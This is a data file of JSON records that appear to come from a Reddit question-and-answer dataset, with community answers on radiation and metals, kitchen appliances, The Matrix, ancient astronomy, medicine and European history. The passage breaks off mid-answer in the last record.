{"q_id": "54hj8u", "title": "How does radiation effect precious metals?", "selftext": "This is a multi part question and I'm not really sure how to ask it. Please forgive me if I ask a question in a stupid way \n\nHow do metals like gold, silver and copper become radioactive (irradiated (if somebody could clear up the semantic, that'd be nice)) and what happens to these metals when that happens?\n\nDoes simple proximity to radiation render metals radioactive, eg: if a gold vein and deposit of uranium ore hypothetically shared the same mine, would the gold be useless? why?\n\nWould the same radioactive source have the same effect on the same metals, that is to say: would the same thing that reacts with gold react with silver or any other metal left or right of the metals' respective column on the periodic table?\n\nBonus question: Just how harmful is non-enriched uranium ore?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/54hj8u/how_does_radiation_effect_precious_metals/", "answers": {"a_id": ["d824dkw", "d824fl6"], "score": [2, 3], "text": ["I think you are confusing neutron radiation with the normal types of ionizing radiation emitted by radioactive objects (alpha, beta, gamma). The type of radiation that makes elements, including gold, radioactive is neutron radiation. If the nucleus of an atom happens to pick up a neutron from a neutron radiation source, the new isotope that is created may be radioactive, and then decay accordingly. Uranium ore only emits non-neutron radiation, like alpha and beta particles, as well as gamma rays. These do not change the atomic number of atoms, and therefore can't make them radioactive. In reference to your question about uranium ore, it is really not that dangerous at all. So long as you keep it somewhere radon won't build up (like outside or a well ventilated room), and wash your hands after handling, you are pretty much fine. The actual radiation emitted by uranium ore is pretty small, so really the only concern is just radon and the dust.", "Just to clear up a few points:\n\nIrradiated = Exposed to radiation (not necessarily changing anything about the target)\n\nRadioactive = Emitting radiation (generally because something is unstable and decaying, but can be induced)\n\nThen we have the types of radiation, because you can spend the rest of your days irradiating everything you like with gamma radiation (high energy photons) and while you might kill a lot of animals, you won't make anything radioactive. Beta radiation is a high energy electron, and it's not going to make anything radioactive either. \n\nThen we have Alpha radiation (Helium nucleus), and high energy neutrons... and only the neutrons will change the structure of atoms, potentially make a target radioactive, and can even change that element to another isotope, or another element entirely. Gold has one stable isotope (Au-197), a high neutron activation cross-section, some extremely unstable isotopes (half-lives  <  a few days), and only one with a half-life that's longer, Au-195, which has a half life of 186 days. \n\nBut... you can't produce Au-195 with neutron bombardment, so the worst you could do is make your gold radioactive for a little while, and it would be back to mostly harmless within about a month or a little more.\n\nSo, the answer to your question in regards to other metals is, look at their neutron activation cross-section, and their potential isotopes which can be formed from neutron bombardment. The issues of reactivity are simpler, because an isotope has a different nuclear structure, but only in regards to neutrons so their electron shells are undisturbed. \n\nSo, as to which sources would matter, for a lot of these you'd need to stick your sample in a nuclear reactor, or set of a nuclear bomb. You don't get neutrons flying around unless something is happening that you probably started after all. To your two questions about Uranium, which help to illustrate this point, Uranium emits Alpha (and a bit of Beta and Gamma) radiation. The thing is, Alpha particles are Helium nuclei, and they can be stopped by your epidermis, or a sheet of paper. Needless to say, they're not a threat to your gold; you only need to worry about neutrons when concerned about making a target radioactive. \n\nAs for safety, it's pretty safe... unless you get some in you, then... it's less safe. Unenriched Uranium is a very weak gamma and beta emitter, and your skin protects you from the Alpha particles. Ingest or Inhale though? Trouble. But... that's Uranium, not ore. Uranium ore contains only minuscule amounts of U-235 and U-238... I mean trace amounts. You'd be at more risk from eating too many bananas."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ffwpa2", "title": "how does a food processor work differently than a blender?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ffwpa2/eli5_how_does_a_food_processor_work_differently/", "answers": {"a_id": ["fk10ilu", "fk1p5n2", "fk21asp", "fk2d4zp", "fk2k2ul", "fk2k7np", "fk2oddi", "fk2vocm", "fk35jms", "fk3df8d", "fk3g9dq"], "score": [5420, 289, 709, 64, 26, 20, 5, 6, 2, 5, 9], "text": ["A food processor tends to have a much wider, flatter work bowl, which means that it is much better at getting larger amounts of food - particularly solid food - to a smaller-but-not-puree consistency.  A blender, with its tall, narrow shape, would struggle to get an even consistency with non-liquid foods unless you take it all the way to slush.\n\nCould you get by with juse one?  Sure, but having the right tool makes the job easier and the results better.  Blenders are the right choice for some applications - particularly liquid ones - and food processors are the right choice for solid foods.", "A food processor uses the blades to chop, with the material getting thrown outward by centrifugal force. A blender uses the narrow walls of the pitcher to force the material back into the blades, allowing for pur\u00e9es. Completely different goals.", "A processor has sharp blades for slicing or chopping food. A blender has blunt blades for smashing and liquefying food.", "Blender = liquify   \nFood processor = chop   \n\nYou make a smoothie in a blender and coleslaw in a food processor.", "Blenders are primarily for \u201cliquids\u201d. The blade needs liquid, whether oil, orange juice, or water, to get things spinning, usually it\u2019s added first, then the solid stuff on top. A vita mix can make things silken smooth unlike a food pro. Example: putting eggs and oil in first to make aioli. A food processor literally chops food up, and you don\u2019t always need liquid to get things going. Example: Parmesan cheese. Just get the blade spinning and throw pieces in.", "A food processor gathers all the information and attempts to understand its contents before annihilating them, while a blender is less discriminatory.", "The blades can also be mounted at the top instead of the bottom enabling you to process the food once instead of hundreds of times", "1. A food processor usually has more power so can \"blend\" or mix more for longer- mix for example a dough in a blender, it will burn out and cut the power -or fuse if it's a cheap model and then cut your circuit if you do too much in it. Blenders are best for short sharp bursts for example, smoothies and soups but not for heavy going stuff or for any longer than a few seconds or a few minutes. \n2. Food processors have more tools and can blend/chop/mix and get different texture results. Blenders tend to just do liquids or make things more liquidy (blenders can make cakes and bread mixtures and the tools mean it wont turn to liquid or puree or smoothie like with a blender)\n3. Food processors can mix up more in terms of volume than blenders, generally speaking.\n4. Food processors tend to have a longer life.\n5. Blenders cost a lot less and are easier to clean!", "My \"food processor\" is a Thermomix.\n\nIt can hold a lot more, process much harder items, and generally do a much better job than simply liquefying like a blender.\n\nI'm unsure if this is how all food processors work, but the way the Thermomix *works* differently to a blender is through precisely angled blades, and most importantly, oscillations of the blade speed.\n\nBy oscillating the blade speed at certain levels, it can achieve a much more even chop/grate than a blender without slushing anything. The oscillations make the food  crash against itself and bounce around a bit more due to the changing speed, to allow a more even process.", "Besides the shape, the motor tend to have less \"oomph\" on a blender. Sure, a few break ice, but not everyone.\n\n A food processor needs to handle the pressure of things like doing peanut butter, without extra oil, and without burning itself. They also tend to have very nice accesories\n\n & #x200B;\n\nHonestly, you can do everything you can do on a blender on a food processor afaik, so I wouldnt buy the two..Food processor+hand on/inmersion blender  (mini pimer here in my country) is enough for me", "Food processors goes \u201cruuuuuuuuuu\u201d while blenders goes \u201creeeeeeeeeeee\u201d. Blender faster, food processors slower."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1hxdkd", "title": "wtf was the architect was trying to tell neo in the movie matrix?", "selftext": "Like seriously, I've been watching this movie on and on... and still don't get that part! What is it about Choice and the Matrix? What did the Oracle figure about humanity that made them believe in the Matrix as their reality? I'd be so thankful to anyone who can put this Philosophy in simple English. \n\n\n\nEdit: Thank you everyone! So far there have been 5 attempts to answer the question, What i thought would be a casual discussion of movie fanatics has become a great intro to Philosophy! Wow i reading all the threads and i'd **highly recommend** everybody interested in the movie to do so. It bought me a whole new perspective to the movie. \n\n\n\nQuestions Unanswered so far or raised in the discussion: \n\n\n1. Neo's real world super powers, stopping the sentinels and vision without eyes. \n\n\n\n2. Agent Smith's rejection of matrix and connection with Neo.\n\n\n\n3. The Oracles true personality. \n\n\n\n4. Why were the machines using humans instead of geothermal (Magma) energy while Zion found itself comfortable to do so? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hxdkd/eli5_wtf_was_the_architect_was_trying_to_tell_neo/", "answers": {"a_id": ["cayv24c", "cayxf1y", "cayxokf", "cayxqzf", "cayytnb", "cayyy35", "cayz0u6", "cayz34p", "caz0not", "caz11h4", "caz2pbr", "caz2xmj", "caz3ecu", "caz40a7", "caz57ek", "caz6g1g", "caz6od0", "caz7zvx", "caz9w2r", "cazbxy2", "cazc3qx", "cazeer0", "cazerlb", "cazewu2", "cazf8q3", "cazl3k7", "cazlml8", "cb0l0w8", "cbovev7"], "score": [251, 106, 42, 46, 2419, 23, 66, 7, 2, 5, 6, 2, 2, 5, 27, 16, 4, 2, 29, 2, 5, 2, 2, 2, 10, 3, 2, 2, 2], "text": ["Ok, they made the matrix and it kept breaking down because peoples minds wouldnt accept it. \n\nThe oracle pointed out that people would accept the matrix IF they had some kind of a choice in doing so, in which case 99.9% of people would anyway.\n\nThis obviously leaves the 0.1% who reject it, who are going to become rebels.\n\nSo you let the rebels do their thing and build their zion outside the matrix, until The One comes along, at which point you kill all of zion for a reset.\n\nThis happens 6 times until you get Neo, the One is supposed to be a person with a general sense of love towards humanity so when the time comes they'll see the neccessity of not crashing the system. Neo is different however, because he loves trinity in particular, so he makes the \"wrong\" choice.\n", "[Very appropriate post on r/GetMotivated](_URL_0_)", "This has renewed my appreciation for the Matrix after writing it off after years of parody and ridicule. Thanks!", "Since it's been answered ITT, I wonder why no one thought the whole \"you're the 6th 'the one'\" bit wasn't a lie, perpetrated as a last ditch effort to save the matrix, and thus save the machines.\n", "Before the current version of the Matrix, the machines created other versions. The first was a \"Perfect World Scenario\" where everybody was happy and life was good. Human psyche could not handle this overload of perfection and rejected the program. People couldn't believe it was real. The second Matrix was a \"Nightmare Scenario\", wars raged so as to appease the sadistic nature of humanity. This was also a failure because people couldn't accept it.\n\nThe solution was found by The Oracle. She concluded, that if people were given a choice to accept or reject the Matrix (even if they weren't aware they were being given that choice), they would overwhelmingly accept the program anyway.  \n\nOf course that this acceptance was not universal. A small number of people would still reject the Matrix. If left unchecked in the system, these people behaved like a virus, making other people aware that they lived in a fake world, destabilizing the whole system. They had to be removed. That's why The Architect allowed Zion to survive, to preserve the Matrix and to remove the people that were aware that they were inside a program. But this in turn created the problem of controlling Zion.  \n\nIf left unchecked, the city would eventually grow too powerful. For that purpose, the Architect and The Oracle created the concept of The One. Every time Zion grew too big (around 250.000 people I think), The One would be born. The One carried an important part of code from the Matrix (the Prime Program) that gave him a greater form of control over the Matrix (aka Neo's Powers).  \n\nHe was supposed to be guided by The Oracle to meet The Architect, reinserting the Prime Program he carried, thereby rebooting the Matrix. After the destruction of Zion, The One would create a new Zion with a select few people on the Matrix. After his death, The Oracle would begin to spread the prophecy of his return, perpetuating the cycle.  \n\n**Edit to answer a few other questions.**  \n**Neo's powers**  \nNeo's control of machines outside The Matrix has two lines of reasoning. Each with its own set of consequences to the story. The first is that the \"Real World\" is in fact just another Matrix. Neo and Zion exist in this upper level, but are still wired to the system and everything is just a ruse to make them think they have a choice when in fact they do not. Neo's powers are easily explained by having the Prime Program.  \n\nThe other possibility is that Neo has some form of connection (unknown how) to the Source, so he is able to feel and interact with anything connected to it even when in the Real World. Thus he is able to override the Sentinels and know where the Machine City is located.  \n\n**The goal of The One**  \nOne of the most interesting facts is why The Architect can't remove the anomaly of The One from the system. My guess is that since so much of The Matrix relies on choice, that is the case here. Neo has to chose to insert his Prime Program and reboot the Matrix and he has to do it willingly. Otherwise The Architect could theoretically simply force him to do it. But he cannot.   \n\nWhen The Oracle and The Architect created the concept of The One, they were trying to create some purpose to the anomaly. To give him a goal to achieve: return to The Source. And they had to create a reason as to why that goal was important.  \n\n**Why Zion exists**  \nAnd thus, Zion's existence is justified. Neo has to reach The Source because he's The One, the messiah, the saviour of mankind, and he must return to The Source to save it. Zion exists to make The One believe this role. Because if he his to save mankind, he has to have some kind of connection to it. They are his flock.\n\n**The Merovingian**  \nHe is an old program, from a much older version of The Matrix. He supposedly helped create the \"Nightmare\" version along with The Architect. When that failed, he saved much of the programs of that version as his henchmen (that's why they have special abilities, like The Twins and the guards that can reverse gravity, and some are much harder to kill, for instance with silver bullets).  \n\n**The Energy problem**  \nThe Machines use humans for power. That is obviously not the only energy source since The Architect clearly states that there are other ways. In a way The Wachowskis have recognised this flaw. In the first draft the Machines used humans for their processing power (sort of like a giant server), not energy. But they weren't sure people would believe it so they changed it in the end.  \n\n**The Nature of Agent Smith**  \nSmith is Neo's opposite. He's determinism, Neo is choice. Smith is the many, Neo is The One. Light and Dark. The two faces of the same coin. He became a rogue agent, in an unexpected way when part of Neo's code overwrote a part of his, unplugging him from the system. He began replicating at an alarming rate and he was too powerful to simply be deleted.  \n\nI don't think that The Oracle's plan for peace included Smith originally but she understod the threat he posed on the system and that he could be the best bargaining chip of all. His destruction in exchange for peace between humans and machines.  \n\n**The Nature of The Oracle**  \nShe is, as we find out in Reloaded, a program. A very specific program created to better understand the human psyche. She was the one that discovered a way to make The Matrix work. She also played an integral part in the creation of the concept of The One, spreading the myth of the prophecy, that The One would return to save mankind.  \n\nBut she also wanted peace between humans and machines. And she was willing to risk everything (even the eventual destruction of The Matrix) to reach that goal.", "Ive always wonder is why do the machines need the humans anyway, if they can get to the core of the earth would the heat from the magma be better than a bunch of humans and need to be fed? ", "I don't get why everyone craps on the last two movies. The story line, as discussed in this post, is compelling, relevant and deep. What more can a sci-fi audience want?", "Neo is literally the value '1' in an unbalanced equation. Not \"The chosen one\" or \"the one who was foretold in prophecy\", but the 1 in a 0 = 1 scenario. ", "Just gotta say after I read the comments. MAN! I love this movie. Now even the sequels make sense. (sorta) ", "This thread is surprisingly insightful and interesting! My questions is: how was Neo able to utilize his programming (powers) outside of the matrix in that one scene when they're being chased by a sentinel? I believe it's in the second movie but I may be wrong. ", "Damnit.  Now I need to watch this AND Kung Fu Hustle tonight.", "There is a fantastic documentary that discusses the philosophy surrounding the Matrix trilogy. It can be found on YouTube [here](_URL_0_). Definitely worth a watch.", "Anyone interested in the philosophy of The Matrix stories I highly suggest \"[Like a Splinter in Your Mind.](_URL_0_)\"", "[ERGO! VIS SA VIS! CONCORDANTLY!](_URL_0_)", "Kids shouldn't be watching the Matrix, but if you have seen the first two movies then I'll tell you what's happening.\n\nSo The Matrix is like a video game. A really cool video game where you don't need a controller, you play with your mind. Neo was born with the cheat codes, but he never knew it until he realized he was playing the video game.\n\nSo Neo goes back into the video game because he keeps dreaming he opens a door in one of the buildings in the game. Inside the door is a man called \"The Architect.\" Architects are people who draw what a house or building is supposed to look like, and builders use the architect's drawings to build the house. In The Matrix, the Architect built the entire Matrix.\n\nNeo's Matrix was not the first \"The Matrix\" ever made. It was like when you learned there were older Super Mario Bros. games: Neo was so amazed by this. But then The Architect talked about each of these games.\n\nThe first Matrix was made so everything was easy for people. People were nice to each other, they got ice cream for dinner, they had nice mommies and daddies, and lots of video games to play with their cool brothers and sisters. But after a couple of years, people didn't really like it any longer. They thought it was boring. People started \"quitting\" the game, and they didn't even know it was a game! The machines that run the Matrix (whose boss was The Architect) turned Matrix number one off.\n\nSo The Architect thought if people did not like a game where everyone can be happy forever, maybe they would like a game where everyone was sad and angry. So people in it would be in wars. Mommies and daddies went to war, kids had to work very hard, and nobody was happy. It was so bad that people also wanted to \"quit\" it, just like with the first Matrix.\n\nThe old black woman Neo asks questions to, named The Oracle. She made the best one. She said some people would not be able to live in the game, because they don't like games. They think games are too boring and don't give them enough choices. So they want to quit. The Oracle said they needed a place where they could go when they wanted to quit, because if they didn't they would tell other people inside the game and one day everyone would want to quit, just like in the first and second Matrix games. That would be bad for the machines, because their batteries are charged by people energy. And without that energy they would die. So The Oracle and the Architect created Zion for people to live when they wanted to quit the game.\n\nBut the longer this good Oracle Matrix ran, the more people would want to leave, and Zion could grow so big that its people would want to restart the war against the machines. So a special player in the game was given lots of cheat codes that allowed him to restart The Good Matrix. He would restart the game, putting everyone back inside it, and find the first people who want to quit. He and they would recreate the city of Zion, and the whole thing would start over.\n\nIt was Oracle's job to give Neo the hints he needed to reach the Architect. In The Architect's room, Neo was a few steps away from resetting the game.", "Basically the oracle figured out that humans will do just about anything so long as you give them a choice in the matter, including accepting a fake reality.\n\nFrom birth human in the movie are asked the question \"do you accept the matrix?\", or something to that effect. 99.9% of people are like, \"yeah, sure, why not, it's all good\", but the rest ask themselves, \"What is the Matrix?\". I can't go around accepting things without knowing what it is \u0ca0_\u0ca0\n\nThis is a problem for the machines. You see the matrix only works if everyone inside believes in it. The system can cope for a time if there are just a few nonbelievers, but  the longer this continues, their numbers will grow and eventually the system collapses.\n\nWhat the architect explained to Neo was that removing the people who didn't believe in the matrix was to the machines benefit, because if they had remained inside, the system would have collapsed anyway. Once they've got rid of most of them, they send sentinels to kill them all and then they start the cycle all over again.\n\nEverything they did from minute one was all part of a grand plan to remove the people who wouldn't accept the matrix so as to stop them causing a system crash.", "You think you are special but you are just part of the whole grand plan.  The 6th of your kind actually.\n\nThat's the 5yo with severe ADD version :-P", "I hope it's not too late for this question, but what effect does the matrix resetting have on the freed humans in Zion? ", "This thread is probably already too deep for anyone to see this, but u/Omegastar19 over at r/AskScienceFiction made a mind-blowing argument regarding the nature of the One and his interactions with the Matrix. \n\n_URL_0_", "TIL I need to rewatch The Matrix", "That's it, it's time to rewatch the matrix trilogy and animatrix. This thread is made of fucking win.", "I'm pretty sure that the Neo was being told that there should only be \"The One\" movie.", "Holy shit I thought I had it all figured out", "I don't understand a single thing in the matrix.", "I love these movies. I get something new out of them each time. They are movies for the thinking man who also appreciates good cinematography and ass-kicking. Here is my ELI5 with relevant background and context, followed by a TLDR:\n\nHumans created the machines. They gave them artificial intelligence. The artificial intelligence evolved. The machines rebelled.\n\nWhen the ensuing war between humans and machines was over, the machines had won, however, the sky itself had become a casualty. The humans had \"scorched\" it, as Morpheus put it, in order to block out the sun, which was the machines' primary source of energy.\n\nThe machines, then, turned humans into an alternate power source by putting them in pods, which harvested the electricity they produced.\n\nFor reasons unexplained, the machines had to keep the human minds alive and interactive with each other in order for the energy harvesting process to work. And for this purpose, the matrix was created.\n\nThe matrix is a complex program that recreates reality for the interpretation of the human brain by addressing all human senses, and allowing people to live with and communicate with each other as if they were actually sharing the same space, and in the presence of one another.\n\nThe matrix was designed by the program known as the Architect.\n\nThe Architect created several versions of the matrix, trying to perfect it.  The first one, was, what he thought, would be a human paradise. But the human mind would not accept it.\n\nHe then reproduced the world, as it was, before the war, complete with human misery and suffering. This version worked better, but the program still had an imperfection. Rather than acknowledge his own shortcomings and lack of understanding, he blames this on a fundamental flaw in humans themselves.\n\nHe had to rely on a \"lesser program,\" one that did not rely on his standards of perfection, to arrive at a solution. That program was the Oracle.\n\nShe realized that 99% of humans would accept the matrix if they were given the choice to do so. The rest, given the choice, would not accept the matrix as reality and would become rebels and eventually cause enough trouble to bring the whole system down.\n\nThe machines had to do something with this rebellious 1% so they freed them and allowed them to build,and live, in Zion. The people of Zion would also be allowed to free the 1% born in the matrix, thus keeping the trouble makers out of the system.\n\nBut, eventually, Zion would grow enough to become a threat to the machine world, at which point they had to be destroyed.\n\nThe Architect explains to Neo that they are about to destroy Zion and that Neo, acting as the One, has been implanted with a code that will reinsert the prime program.\n\nAs it turns out, according to the Architect, the function of the One, is to reboot the matrix and return it to factory settings. Then he gets to choose 16 women and seven men to repopulate Zion, so they have a place for the troublemakers to go.\n\nIf Neo refuses to do this, the matrix will crash and everyone will die, meanwhile, as the Architect claims, the machines, if they can't get what they want, are prepared to function on a lower level, perhaps even fuled by worm shit.\n\nJust like everyone must be given a choice to accept the matrix as reality, Neo's fulfillment of his intended purpose must be done by the choice of his own free will.\n\nNeo is supposed to make his choice, as the others before him did, based on a general love of humanity. But this time, something different happened. The One made a choice to save only one person, Trinity, his romantic love.\n\nAnd that's when Neo walks out the door.\n\nThere are several perspectives from which to interpret these movies. I suggest watching them over and over again and discovering new things each time.\n\nTLDR: The Architect can't figure out why everybody won't accept the Matrix as reality. The Oracle figures out a solution that allows people to choose it as reality, even though it's on a subconscious level. About 1% of people won't accept it, so Zion is created as a home for them so they won't be able to cause any trouble inside the matrix. Once Zion gets big enough to cause a problem for the machine world, it is destroyed, and the One is sent to \"the source,\" with the code that will reboot the matrix. Then he gets to pick out 16 women, and seven men to repopulate Zion.\n\n\n", "Alright I will attempt to answer the first unanswered question: Neo's real world powers:\n\nDon't forget: they all had machine's in them. They had those connectors in the back, connecting to the brain, and possibly some kind of chip inside, to let them easily connect to the Matrix. Well even the robots did not want The One to fail, they were the ones who created him. If The One fails, the whole process becomes harder. The sentinels sensed that he was the one, and they shut down in time. Same with seeing: there were other kinds of methods to look around, the robots sent the information into his brain, to help him reach his goal. He was never in danger, only Trinity was.", "The series is largely based off the writings of [Jean Baudrillard] (_URL_0_) about the increasing role of simulation in society. The movie is an allegory/metaphor thing. \n\n_URL_1_\n\nThats kind of his core text.\n\nThe section on disney land is my favorite. \n\nHe's an intentionally provocative/outrageous author.", "Thankfully I just watched it again on a replay earlier and the thoughts are still fresh in my mind. I know there have been plenty of great answers already but forgive me if I share my own view since I'm quite pumped to write about it. So here it goes:\n\nAs Neo surmised, \"so the problem is choice\". What does this mean? The machines with their super intelligence have tried and failed to create a realistic simulated world for humans. First they made a perfect world, a utopia but it didn't work. Then they included wars and death and plague to make it more realistic, but it didn't work.\n\nWhy? Because there is something logical machines will never get about humans. **Humans can be illogical**. I will never get why hobos choose to live on train tracks. If I was Brad Pitt in the film Moneyball, I would choose to manage the Red Sox but he chose to stay in the smaller team. **And that is choice**. No matter how more rewarding, more beneficial, more favorable, more valuable option A is, there is that one person who will choose option B. There is no way to determine 100% that he will choose option A **simply because he can choose not to**.\n\nIn that sense, the machines will never be able to create an eternal sustainable virtual world for humans to numb our minds because they will never be able to get us. The Matrix is doomed from the start. It is inevitable that a few individuals would \"wake from reality\". And thus, that's exactly what the Oracle proposed, is to let them wake from reality and use the anomaly to their advantage, which is the continual destruction and rebuilding of Zion and the Matrix.", "Thread's a month old but I just gotta say, the Matrix universe deserves a lot more movies. Make some prequels telling the story from the Animatrix in live-action if you have to. There's way too much untapped potential for badassness and mindfuck in there. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/VHfVAN8.jpg"], [], [], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=gYr5HBxAMAA"], ["http://www.amazon.com/Like-Splinter-Your-Mind-Philosophy/dp/1405125241/ref=sr_1_1?ie=UTF8&amp;qid=1373393737&amp;sr=8-1&amp;keywords=splinter+in+the+mind+the+matrix"], ["https://www.youtube.com/watch?v=H8pB1zRguAg"], [], [], [], [], ["http://www.reddit.com/r/AskScienceFiction/comments/xtxtj/this_is_kindof_a_stupid_question_but_is_there/c5u9qmz"], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Jean_Baudrillard", "http://www.stanford.edu/class/history34q/readings/Baudrillard/Baudrillard_Simulacra.html"], [], []]}
{"q_id": "1omz9g", "title": "How did ancient astronomers calculate constants to such high precision without any means of standardization or electronic calibration to those many decimal places?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1omz9g/how_did_ancient_astronomers_calculate_constants/", "answers": {"a_id": ["cctn3ir", "ccto130", "cctt1a7"], "score": [9, 6, 33], "text": ["Let's say you had historical observations of the moon for the last thousand years.  You don't need to split hairs over any one observation,  just noticing which day the new moon was first visible is good enough, but you'll know how many days a lunar cycle takes to one day divided a thousand years (minus the remainder for the thousand years, which is negligible).", "Just some additional info...\n\nSurya siddhanta literally means the solar tenet or solar doctorine\n\nAryabhatta also realized that eclipses occur as a play of shadows, rejecting mythical stories of their origins. He calculated earth's circumference to 1.6% today's equatorial value, and talked of the earth rotating about its own axis causing day and night, citing Galilean Relativity as an explanation for the apparent movement of the heavens. This view was later criticized or apologized for by later indian astronomers, who clearly lacked the insights Aryabhatta had.\n\nAnd the ancient's idea of expressing all orbits of planets around the sun suggest a precursor of a Heliocentric theory. This however did not develop fully, as Aryabhatta continued the use of variable epicycles, which even though being a better system than Ptolemy's, shows that it was still an earth centric model for all calculation purposes.", "People in those days seem to have been insanely resourceful and smart. For example when Eratosthenes [calculated the circumference of the Earth](_URL_0_)...\n\n > Eratosthenes calculated the circumference of the Earth without leaving Egypt. Eratosthenes knew that, on the summer solstice, at local noon in the Ancient Egyptian city of Swenet (known in Greek as Syene, and in the modern day as Aswan) on the Tropic of Cancer, the sun would appear at the zenith, directly overhead (he had been told that the shadow of someone looking down a deep well would block the reflection of the Sun at noon). \n\n > Using a gnomon, he measured the sun's angle of elevation at noon on the solstice in his hometown of Alexandria, and found it to be 1/50th of a circle (7\u00b012') south of the zenith. He could have used a compass to measure the angle of the shadow cast. Assuming that the Earth was spherical (360\u00b0), and that Alexandria was due north of Syene, he concluded that the meridian arc distance from Alexandria to Syene must therefore be 1/50 = 7\u00b012'/360\u00b0, and was therefore 1/50 of the total circumference of the Earth.\n\nSo basically with a sundial and the memory of when the sun was directly overhead somewhere else, he more-or-less figured out the size of the planet. He was a little off because his assumption of a spherical Earth was incorrect (among other things) but his reasoning was almost spot-on:\n\n > If Eratosthenes calculation is performed with the correct data, the result is 40,074 km. This is 66 km of difference (0.16%) from the current aproximation of the Earth's circumference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Eratosthenes#Measurement_of_the_Earth.27s_circumference"]]}
{"q_id": "bw8uog", "title": "how does injecting into the heart not make a fatal hole?", "selftext": "In Pulp Fiction, they take a syringe of adrenalin  &  strike it  through the breastplate with immediate effect. My main question, assuming this has some basis in fact, is that the  needle, solidly held by bone and presumably puncturing a ventricle,  would be moved against by the heart causing a tear which would surely  kill you. Even if it doesn't, if muscle is so tough the heart moves  around the needle, I'm still concerned about the needle hole. That's before we get to the whole adrenalin thing. Positioning. Length  of needle. Technique  &  needle breakages. Immediate effect. So yeah, go for it, put my mind at rest :-)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bw8uog/eli5_how_does_injecting_into_the_heart_not_make_a/", "answers": {"a_id": ["epvz5gg", "epwyiqt"], "score": [12, 3], "text": ["I haven't had a needle in the heart, but I have had a needle in the kidney which is actually more vascular than your heart, so I'm told. The hole from the needle bleeds a little and then the blood clots in the hole. You are instructed to lie very still for hours and hours to keep from disturbing the clot while it is new. Then the whole thing heals over time.", "Your body has a few ways of dealing with holes. Healing is the obvious one, but that's long term. Shorter term is blood clotting, but even that takes too long for something like a needle puncture hole in the heart. A really short term, but less effective solution is swelling/inflammation. Swelling is (usually) blood being pumped to all the tiny blood vessels - the capillaries - in a tissue, and expanding them. Each one expands only a tiny bit, but multiply that over a *lot* of vessels, and you can swell quite a lot. This can also happen very fast. For something like the heart, that'll close up any holes pretty effectively, and buy enough time for a blood clot to patch up the hole."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "dty91o", "title": "how does pseudoephedrine work as a decongestant?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dty91o/eli5_how_does_pseudoephedrine_work_as_a/", "answers": {"a_id": ["f6zsup5"], "score": [18], "text": ["Through a process called vasoconstriction-basically it narrows the blood vessels in your sinuses. Its the same phenomena anti redness eyedrops work-narrowing the blood vessels."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "z0vvy", "title": "what is the evolutionary advantage of spitting? why do some animals (humans, llamas, camels, etc.) spit, while others do not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/z0vvy/eli5_what_is_the_evolutionary_advantage_of/", "answers": {"a_id": ["c60jiz9", "c60loln"], "score": [2, 2], "text": ["I don't think the spitting itself is the ability evolved. Animals that spit have lips and cheeks that can form and pucker etc, which is required to spit.", "Usually when I spit it's to expel mucus from my throat, so perhaps its an immunity response; like sneezing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "hlcx1", "title": "Why have I developed a (seemingly) intolerance to alcohol?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hlcx1/why_have_i_developed_a_seemingly_intolerance_to/", "answers": {"a_id": ["c1wasf5"], "score": [6], "text": [" >  Do not give or take medical advice. If you have a medical question, talk to your doctor.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9d0veu", "title": "Why wasn't the European Coal and Steel Community founded after WW1?", "selftext": "I'm always wondering why history happened the way it did and not otherwise. Was it the leaders' fault or was it due to economic and social tendencies? (I'm fond of alternate history)\n\nThe ECSC seems to me the main guarantor of peace in central Europe. If you don't control resources essential for war, war becomes impossible. I think. You can correct me on that.\n\nSo, how much of a stretch would it be to think the treaty could have been signed after WW1? As far as I know, the harsh treatment of Germany in the treaty of Versailles was one of the main factors in the rise of Hitler. Appeasement was the right idea, but too late. Hitler was already in power then.\n\nSo why, instead of just occupying the Rhineland, didn't the Allies in WW1 get the European thought back in 1918? Chaining France and Germany together would have allowed Germany to save face and effectively prevented WW2, would it not? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9d0veu/why_wasnt_the_european_coal_and_steel_community/", "answers": {"a_id": ["e5eoe1e"], "score": [3], "text": ["From [an earlier answer of mine](_URL_0_) which delves into the end to tentative attempts to form a steel cooperative in the 1920s. \n\nThe importance of steel, as well as the coal needed for coke, is that it is a raw material for capital goods. Steel is vital for infrastructure and other forms of construction, so a healthy steel industry was particularly important in the immediate aftermath of the Second World War. Steel went into bridges, buildings, and other household goods needed for recovery. In and of itself, steel's importance meant that individuals like France's Foreign Minister Robert Schuman and the economist Jean Monnet would be deeply concerned about the state of the postwar steel industry. But there were two deeper factors at work in the abortive Monnet plan and its successor, the Schuman Declaration besides the importance of steel as a capital good. \n\nFirstly, the two French proposals to regulate and coordinate the Rhineland areas steel and coal production emerged out of immediate postwar political milieu. The Western occupation of Germany was on the horns of a dilemmas: how to restore the German economy but at the same time ensure that Germany would not again threaten to conquer Europe. The main American plan for the postwar German occupation, JCS 1067, proposed a wide-ranging restructuring of the German economy, including the break-up of various cartels and trusts within German industry. Additionally, 